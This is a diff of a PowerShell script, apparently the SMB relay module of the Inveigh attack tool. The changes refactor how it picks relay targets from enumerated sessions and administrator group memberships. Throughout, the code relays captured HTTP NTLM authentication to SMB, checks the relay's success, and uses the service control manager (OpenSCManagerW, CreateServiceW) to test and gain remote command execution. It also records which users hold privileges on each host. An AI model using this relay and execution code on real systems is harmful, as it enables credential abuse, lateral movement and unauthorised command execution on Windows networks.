+                        $client_stream.Flush()    
+                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
                         $stage = 'Exit'
                         $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Grabbing challenge for relay from $target") > $null
                     }
@@ -2295,18 +2317,18 @@ $SMB_relay_functions_scriptblock =
 
             }
 
-            return $SMB_client,$SMB2,$signing
+            return $client,$SMB2,$signing
         }
 
         function Test-SMBTarget
         {
-            param($targets,$limit)
+            param([Array]$targets,[Int]$limit)
 
             $filter_date = Get-Date
-            $targets_excluded = $inveigh.enumeration_data | Where-Object {$_.IP -eq $SourceIP -or ($_.Targeted -and $_."SMB Server" -and (!$_."SMB2.1" -or $_.Signing)) -or
-            ($_.Targeted -and !$_."SMB Server" -and (New-TimeSpan $_.Targeted $filter_date).Minutes -lt $TargetRefresh)} | Select-Object -expand IP
+            [Array]$targets_excluded = $inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP -or ($_.Targeted -and $_."SMB Server" -and (!$_."SMB2.1" -or $_.Signing)) -or
+                ($_.Targeted -and !$_."SMB Server" -and (New-TimeSpan $_.Targeted $filter_date).Minutes -lt $TargetRefresh)} | Select-Object -expand IP
 
-            if($targets_excluded)
+            if($targets -and $targets_excluded)
             {
                 $targets = Compare-Object -ReferenceObject $targets -DifferenceObject $targets_excluded -PassThru | Where-Object {$_.SideIndicator -eq "<="}
 
@@ -2324,7 +2346,7 @@ $SMB_relay_functions_scriptblock =
                     {
                         $sessions = @($inveigh.session_list | Where-Object {$_.Target -eq $target_entry -and $_.Status -eq 'connected'})
 
-                        if($sessions -and $sessions.Count -lt $limit)
+                        if($sessions -and ($sessions.Count -lt $limit -or $inveigh.enumerated_data | Where-Object {$_.IP -eq $target_entry -and $_.Shares}))
                         {
                             $targets += $target_entry
                         }
@@ -2350,7 +2372,12 @@ $SMB_relay_functions_scriptblock =
                 }
                 
             }
-            
+
+            if($targets -and $inveigh.target_list)
+            {
+                $targets = Compare-Object -ReferenceObject $targets -DifferenceObject $inveigh.target_list -ExcludeDifferent -IncludeEqual -PassThru
+            }
+
             $i = 0
             $random_index_history = @()
 
@@ -2376,17 +2403,40 @@ $SMB_relay_functions_scriptblock =
 
                 }
 
-                if(!($target -as [IPAddress]) -as [Bool])
+                if($target -and !($target -as [IPAddress]) -as [Bool])
                 {
 
                     try
                     {
-                        $target = [System.Net.Dns]::GetHostEntry($target).AddressList[0].IPAddressToString
+                        $IP_list = [System.Net.Dns]::GetHostEntry($target)
 
-                        if($target.IsIPv6LinkLocal)
+                        foreach($entry in $IP_list.AddressList)
+                        {
+
+                            if(!$entry.IsIPv6LinkLocal)
+                            {
+                                $target_IPv4 = $entry.IPAddressToString
+                            }
+                            else
+                            {
+                                $target_IPv6 = $entry.IPAddressToString 
+                            }
+
+                            if($target_IPv4)
+                            {
+                                $target_IPv6 = $null
+                            }
+
+                        }
+
+                        if($target_IPv6)
                         {
                             $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] IPv6 target $target not supported") > $null
-                            $target = $null
+                            $target_IPv6 = $null
+                        }
+                        elseif($target_IPv4)
+                        {
+                            $target = $target_IPv4
                         }
                                 
                     }
@@ -2410,15 +2460,15 @@ $SMB_relay_functions_scriptblock =
                     if($SMB_port_test_success)
                     {
                         $SMB_negotiate = Invoke-SMBNegotiate $target
-                        $SMB_client = $SMB_negotiate[0]
+                        $client = $SMB_negotiate[0]
                         $SMB2 = $SMB_negotiate[1]
                         $signing = $SMB_negotiate[2]
                         $SMB_server = $true
-                        $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
-                        $inveigh.enumeration_data[$target_index]."SMB2.1" = $SMB2
-                        $inveigh.enumeration_data[$target_index].Signing = $signing
-                        $inveigh.enumeration_data[$target_index]."SMB Server" = $SMB_server
-                        $inveigh.enumeration_data[$target_index]."Targeted" = $(Get-Date -format s)
+                        $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
+                        $inveigh.enumerated_data[$target_index]."SMB2.1" = $SMB2
+                        $inveigh.enumerated_data[$target_index].Signing = $signing
+                        $inveigh.enumerated_data[$target_index]."SMB Server" = $SMB_server
+                        $inveigh.enumerated_data[$target_index]."Targeted" = $(Get-Date -format s)
 
                         if(!$SMB2 -and $signing)
                         {
@@ -2435,15 +2485,15 @@ $SMB_relay_functions_scriptblock =
                 
             }
 
-            return $SMB_client,$target
+            return $client,$target
         }
 
-        if($inveigh.target_list -gt 1)
+        if($inveigh.target_list.Count -gt 1 -or (!$inveigh.target_list -and $inveigh.enumerated_data))
         {
-            $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Selecting a target") > $null
+            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Searching for a target") > $null
         }
 
-        if(!($inveigh.enumeration_data | Where-Object {$_.IP -eq $SourceIP}))
+        if(!($inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP}))
         {
         
             try 
@@ -2461,30 +2511,45 @@ $SMB_relay_functions_scriptblock =
         {
             $targets = $null
             $target = $null
-            $initiator_sessions = $inveigh.enumeration_data | Where-Object {($_.IP -eq $SourceIP -or $_.Hostname -eq $source_hostname) -and $_.Sessions} | Select-Object -expand Sessions
+            $target_hostnames = @()
 
+            if($source_hostname)
+            {
+                [Array]$initiator_sessions = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $source_hostname -and $_.Sessions} | Select-Object -expand Sessions
+            }
+            else
+            {
+                [Array]$initiator_sessions = $inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP -and $_.Sessions} | Select-Object -expand Sessions
+            }
+
+            $initiator_sessions = $initiator_sessions | Sort-Object {Get-Random}
+            
             # check if sessions match any local admin group members
             if($initiator_sessions)
             {
-
+                
                 ForEach($session in $initiator_sessions)
                 {
-                    $target_hostnames = $inveigh.enumeration_data | Where-Object {$_."Administrator Users" -contains $session -and !$_.IP} | Select-Object -expand Hostname
+                    $target_hostnames = $inveigh.enumerated_data | Where-Object {$_."Administrator Users" -contains $session -and !$_.IP} | Select-Object -expand Hostname
 
                     if($target_hostnames)
                     {
+                        $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group match found for session $session on:") > $null
+                        $inveigh.output_queue.Add(($targets -join ",")) > $null
                         $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv
-                        $SMB_client = $SMB_target_results[0]
+                        $client = $SMB_target_results[0]
                         $target = $SMB_target_results[1]
                     }
                     else
                     {
-                        $targets = $inveigh.enumeration_data | Where-Object {$_."Administrator Users" -contains $session -and $_.IP} | Select-Object -expand IP
+                        $targets = $inveigh.enumerated_data | Where-Object {$_."Administrator Users" -contains $session -and $_.IP} | Select-Object -expand IP
 
                         if($targets)
                         {
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group match found for session $session on:") > $null
+                            $inveigh.output_queue.Add(($targets -join ",")) > $null
                             $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv
-                            $SMB_client = $SMB_target_results[0]
+                            $client = $SMB_target_results[0]
                             $target = $SMB_target_results[1]
                         }
 
@@ -2495,7 +2560,7 @@ $SMB_relay_functions_scriptblock =
             }
 
             # check if sessions belong to groups that match any local admin group members
-            if($initiator_sessions -and !$targets -and $target)
+            if($initiator_sessions -and !$targets -and !$target)
             {
 
                 function Get-SessionGroup
@@ -2532,31 +2597,44 @@ $SMB_relay_functions_scriptblock =
                     return $group_list
                 }
 
+                $session_groups = @()
+                $target_hostnames = @()
+                $targets = @()
+
                 ForEach($session in $initiator_sessions)
                 {
                     $session_groups += Get-SessionGroup $session
                 }
 
-                ForEach($group in $session_groups)
+                if($session_groups)
                 {
-                    $target_hostnames = $inveigh.enumeration_data | Where-Object {$_."Administrator Groups" -contains $group -and !$_.IP} | Select-Object -expand Hostname
 
-                    if($target_hostnames)
-                    {
-                        $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv
-                        $SMB_client = $SMB_target_results[0]
-                        $target = $SMB_target_results[1]
-                    }
-                    else
+                    ForEach($group in $session_groups)
                     {
-                        $targets = $inveigh.enumeration_data | Where-Object {$_."Administrator Groups" -contains $group -and $_.IP} | Select-Object -expand IP
-
-                        if($targets)
+                        $target_hostnames = $inveigh.enumerated_data | Where-Object {$_."Administrator Groups" -contains $group -and !$_.IP} | Select-Object -expand Hostname
+                        
+                        if($target_hostnames)
                         {
-                            $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv
-                            $SMB_client = $SMB_target_results[0]
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group nested match found for $group from session $session on:") > $null
+                            $inveigh.output_queue.Add(($target_hostnames -join ",")) > $null
+                            $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv
+                            $client = $SMB_target_results[0]
                             $target = $SMB_target_results[1]
                         }
+                        else
+                        {
+                            $targets = $inveigh.enumerated_data | Where-Object {$_."Administrator Groups" -contains $group -and $_.IP} | Select-Object -expand IP
+
+                            if($targets)
+                            {
+                                $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group nested match found for $group from session $session on:") > $null
+                                $inveigh.output_queue.Add(($targets -join ",")) > $null
+                                $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv
+                                $client = $SMB_target_results[0]
+                                $target = $SMB_target_results[1]
+                            }
+
+                        }
 
                     }
 
@@ -2567,29 +2645,43 @@ $SMB_relay_functions_scriptblock =
             # check if mapped netsession match any local admin group members
             if(!$targets -and !$target)
             {
-                $initiator_mapped_net_sessions = $inveigh.enumeration_data | Where-Object {($_.IP -eq $SourceIP -or $_.Hostname -eq $source_hostname) -and $_."NetSessions Mapped"} | Select-Object -expand "NetSessions Mapped"
-            
+
+                if($source_hostname)
+                {
+                    [Array]$initiator_mapped_net_sessions = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $source_hostname -and $_."NetSessions Mapped"} | Select-Object -expand "NetSessions Mapped"
+                }
+                else
+                {
+                    [Array]$initiator_mapped_net_sessions = $inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP -and $_."NetSessions Mapped"} | Select-Object -expand "NetSessions Mapped"
+                }
+
                 if($initiator_mapped_net_sessions)
                 {
+                    $target_hostnames = @()
+                    $targets = @()
 
                     ForEach($session in $initiator_mapped_net_sessions)
                     {
-                        $target_hostnames = $inveigh.enumeration_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and !$_.IP} | Select-Object -expand Hostname
+                        $target_hostnames = $inveigh.enumerated_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and !$_.IP} | Select-Object -expand Hostname
 
                         if($target_hostnames)
                         {
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession user match found for $session on:") > $null
+                            $inveigh.output_queue.Add(($target_hostnames -join ",")) > $null
                             $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv
-                            $SMB_client = $SMB_target_results[0]
+                            $client = $SMB_target_results[0]
                             $target = $SMB_target_results[1]
                         }
                         else
                         {
-                            $targets = $inveigh.enumeration_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and $_.IP} | Select-Object -expand IP
+                            $targets = $inveigh.enumerated_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and $_.IP} | Select-Object -expand IP
 
                             if($targets)
                             {
+                                $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession user match found for $session on:") > $null
+                                $inveigh.output_queue.Add(($targets -join ",")) > $null
                                 $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv
-                                $SMB_client = $SMB_target_results[0]
+                                $client = $SMB_target_results[0]
                                 $target = $SMB_target_results[1]
                             }
 
@@ -2604,12 +2696,14 @@ $SMB_relay_functions_scriptblock =
             # check if source IP matches any netsessions
             if(!$targets -and !$target -and $SourceIP)
             {
-                $targets = $inveigh.enumeration_data | Where-Object {$_."NetSession" -contains $SourceIP} | Select-Object -expand IP
+                $targets = $inveigh.enumerated_data | Where-Object {$_."NetSession" -contains $SourceIP} | Select-Object -expand IP
 
                 if($targets)
                 {
+                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession IP match found for $SourceIP on:") > $null
+                    $inveigh.output_queue.Add(($targets -join ",")) > $null
                     $SMB_target_results = Test-SMBTarget $target $SessionLimitUnpriv
-                    $SMB_client = $SMB_target_results[0]
+                    $client = $SMB_target_results[0]
                     $target = $SMB_target_results[1]
                 }
 
@@ -2618,12 +2712,14 @@ $SMB_relay_functions_scriptblock =
             # get list of systems with custom shares
             if(!$targets -and !$target)
             {
-                $targets = $inveigh.enumeration_data | Where-Object {$_."Shares"} | Select-Object -expand IP
+                $targets = $inveigh.enumerated_data | Where-Object {$_."Shares"} | Select-Object -expand IP
                                 
                 if($targets)
                 {
-                    $SMB_target_results = Test-SMBTarget $targets $SessionLimitShare
-                    $SMB_client = $SMB_target_results[0]
+                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Searching within the following list of systems hosting custom shares:") > $null
+                    $inveigh.output_queue.Add(($targets -join ",")) > $null
+                    $SMB_target_results = Test-SMBTarget $targets $SessionLimitUnpriv
+                    $client = $SMB_target_results[0]
                     $target = $SMB_target_results[1]
                 }
 
@@ -2632,8 +2728,34 @@ $SMB_relay_functions_scriptblock =
             # get random target
             if(!$target -and $TargetMode -eq 'Random')
             {
-                $SMB_target_results = Test-SMBTarget $inveigh.target_list $SessionLimitUnpriv
-                $SMB_client = $SMB_target_results[0]
+                $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selecting a random target") > $null
+
+                if($inveigh.target_list)
+                {
+                    $SMB_target_results = Test-SMBTarget $inveigh.target_list $SessionLimitUnpriv
+                }
+                else
+                {
+                    $targets = @()
+
+                    foreach($entry in $inveigh.enumerated_data)
+                    {
+
+                        if($entry.Hostname)
+                        {
+                            $targets += $entry.Hostname
+                        }
+                        elseif($entry.IP)
+                        {
+                            $targets += $entry.IP
+                        }
+
+                    }
+
+                    $SMB_target_results = Test-SMBTarget $targets $SessionLimitUnpriv
+                }
+
+                $client = $SMB_target_results[0]
                 $target = $SMB_target_results[1]
             }
 
@@ -2654,17 +2776,17 @@ $SMB_relay_functions_scriptblock =
             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null
         }
 
-        return $SMB_client,$target
+        return $client,$target
     }
 
-    function SMBRelayChallenge
+    function Invoke-SMBRelayChallenge
     {
-        param ($SMB_client,$HTTP_request_bytes,$SMB_version,$SMB_process_ID)
+        param ($client,$HTTP_request_bytes,$SMB_version,$SMB_process_ID)
 
         try
         {
-            $SMB_client_stream = $SMB_client.GetStream()
-            $SMB_client_receive = New-Object System.Byte[] 1024
+            $client_stream = $client.GetStream()
+            $client_receive = New-Object System.Byte[] 1024
             $message_ID = 2
             $tree_ID = 0x00,0x00,0x00,0x00
             $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
@@ -2676,10 +2798,10 @@ $SMB_relay_functions_scriptblock =
             $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
             $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
             $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-            $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-            $SMB_client_stream.Flush()    
-            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+            $client_stream.Write($client_send,0,$client_send.Length) > $null
+            $client_stream.Flush()    
+            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
         }
         catch
         {
@@ -2688,21 +2810,21 @@ $SMB_relay_functions_scriptblock =
             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null
         }
 
-        return $SMB_client_receive
+        return $client_receive
     }
 
-    function SMBRelayResponse
+    function Invoke-SMBRelayResponse
     {
-        param ($SMB_client,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID)
+        param ($client,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID)
     
         try
         {
         
-            $SMB_client_receive = New-Object System.Byte[] 1024
+            $client_receive = New-Object System.Byte[] 1024
 
-            if($SMB_client)
+            if($client)
             {
-                $SMB_relay_response_stream = $SMB_client.GetStream()
+                $SMB_relay_response_stream = $client.GetStream()
             }
 
             $message_ID = 3
@@ -2715,35 +2837,38 @@ $SMB_relay_functions_scriptblock =
             $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
             $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
             $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-            $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
+                $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+            $SMB_relay_response_stream.Write($client_send,0,$client_send.Length) > $null
             $SMB_relay_response_stream.Flush()
-            $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-            if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00'))
+            $SMB_relay_response_stream.Read($client_receive,0,$client_receive.Length) > $null
+            
+            if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00'))
             {
                 $SMB_relay_failed = $false
                 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication successful for $HTTP_username_full on $Target") > $null              
             }
             else
             {
+                $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
+                $target_hostname = $inveigh.enumerated_data[$target_index].Hostname
+                $target_DNS_domain = $inveigh.enumerated_data[$target_index]."DNS Domain"
 
-                if($HTTP_NTLM_domain_string -ne '')
+                if($FailedLoginStrict -eq 'Y' -or ($HTTP_NTLM_domain_string -and ((!$target_hostname -or !$target_DNS_domain) -or ($target_hostname -and $target_DNS_domain -and $target_hostname -ne $target_DNS_domain))))
                 {
 
-                    if(!$inveigh.relay_failed_auth_table.ContainsKey($HTTP_username_full))
+                    if(!$inveigh.relay_failed_login_table.ContainsKey($HTTP_username_full))
                     {
-                        $inveigh.relay_failed_auth_table.Add($HTTP_username_full,[Array]$target)
+                        $inveigh.relay_failed_login_table.Add($HTTP_username_full,[Array]$target)
                     }
                     else
                     {
-                        $inveigh.relay_failed_auth_table.$HTTP_username_full += $target
+                        $inveigh.relay_failed_login_table.$HTTP_username_full += $target
                     }
 
                 }
 
                 $SMB_relay_failed = $true
-                $SMB_client.Close()
+                $client.Close()
                 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication failed for $HTTP_username_full on $Target") > $null
             }
 
@@ -2759,11 +2884,23 @@ $SMB_relay_functions_scriptblock =
         return $SMB_relay_failed
     }
 
-    function SMBRelayExecute
+    function Get-StatusPending
+    {
+        param ([Byte[]]$Status)
+
+        if([System.BitConverter]::ToString($Status) -eq '03-01-00-00')
+        {
+            $status_pending = $true
+        }
+
+        return $status_pending
+    }
+    
+    function Invoke-SMBRelayExecute
     {
-        param ($SMB_client,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID,$AccessCheck)
+        param ($client,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID,$AccessCheck)
 
-        $SMB_client_receive = New-Object System.Byte[] 1024
+        $client_receive = New-Object System.Byte[] 1024
 
         if(!$Service)
         {
@@ -2810,7 +2947,7 @@ $SMB_relay_functions_scriptblock =
         $SMB_path = "\\" + $Target + "\IPC$"
         $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path)
         $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03
-        $SMB_client_stream = $SMB_client.GetStream()
+        $client_stream = $client.GetStream()
         $SMB_split_index = 4256
         $stage = 'TreeConnect'
         $message_ID =  $inveigh.session_message_ID_table[$inveigh.session_count]
@@ -2824,130 +2961,12 @@ $SMB_relay_functions_scriptblock =
                 switch ($stage)
                 {
         
-                    'TreeConnect'
-                    {
-                        $message_ID++
-                        $tree_ID = 0x00,0x00,0x00,0x00
-                        $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'CreateRequest'
-                    }
-                
-                    'CreateRequest'
-                    {
-                        $tree_ID = $SMB_client_receive[40..43]
-                        $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes
-                        $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00  
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data  
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'RPCBind'
-                    }
-            
-                    'RPCBind'
-                    {
-                        $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
-                        $SMB_file_ID = $SMB_client_receive[132..147]
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'ReadRequest'
-                        $stage_next = 'OpenSCManagerW'
-                    }
-            
-                    'ReadRequest'
-                    {
-                        Start-Sleep -m 150
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID
-                        $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data 
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00')
-                        {
-                            $stage = $stage_next
-                        }
-                        else
-                        {
-                            $stage = 'StatusPending'
-                        }
-
-                    }
-
-                    'StatusPending'
-                    {
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length)
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00')
-                        {
-                            $stage = $stage_next
-                        }
-
-                    }
-            
-                    'OpenSCManagerW'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'ReadRequest'
-                        $stage_next = 'CheckAccess'           
-                    }
-
                     'CheckAccess'
                     {
                         
-                        if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
+                        if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
                         {
-                            $SMB_service_manager_context_handle = $SMB_client_receive[108..127]
+                            $SMB_service_manager_context_handle = $client_receive[108..127]
                             $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
                             $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has command execution privilege on $target") > $null
@@ -2961,13 +2980,13 @@ $SMB_relay_functions_scriptblock =
                                 $privileged_user = $HTTP_username_full
                             }
 
-                            $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
-                            [Array]$privileged_user_list = $inveigh.enumeration_data[$target_index].Privileged
+                            $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
+                            [Array]$privileged_user_list = $inveigh.enumerated_data[$target_index].Privileged
                             
                             if($privileged_user_list -notcontains $privileged_user)
                             {
                                 $privileged_user_list += $privileged_user
-                                $inveigh.enumeration_data[$target_index].Privileged = $privileged_user_list
+                                $inveigh.enumerated_data[$target_index].Privileged = $privileged_user_list
                             }
 
                             if($AccessCheck)
@@ -2986,7 +3005,7 @@ $SMB_relay_functions_scriptblock =
                             }
 
                         }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00')
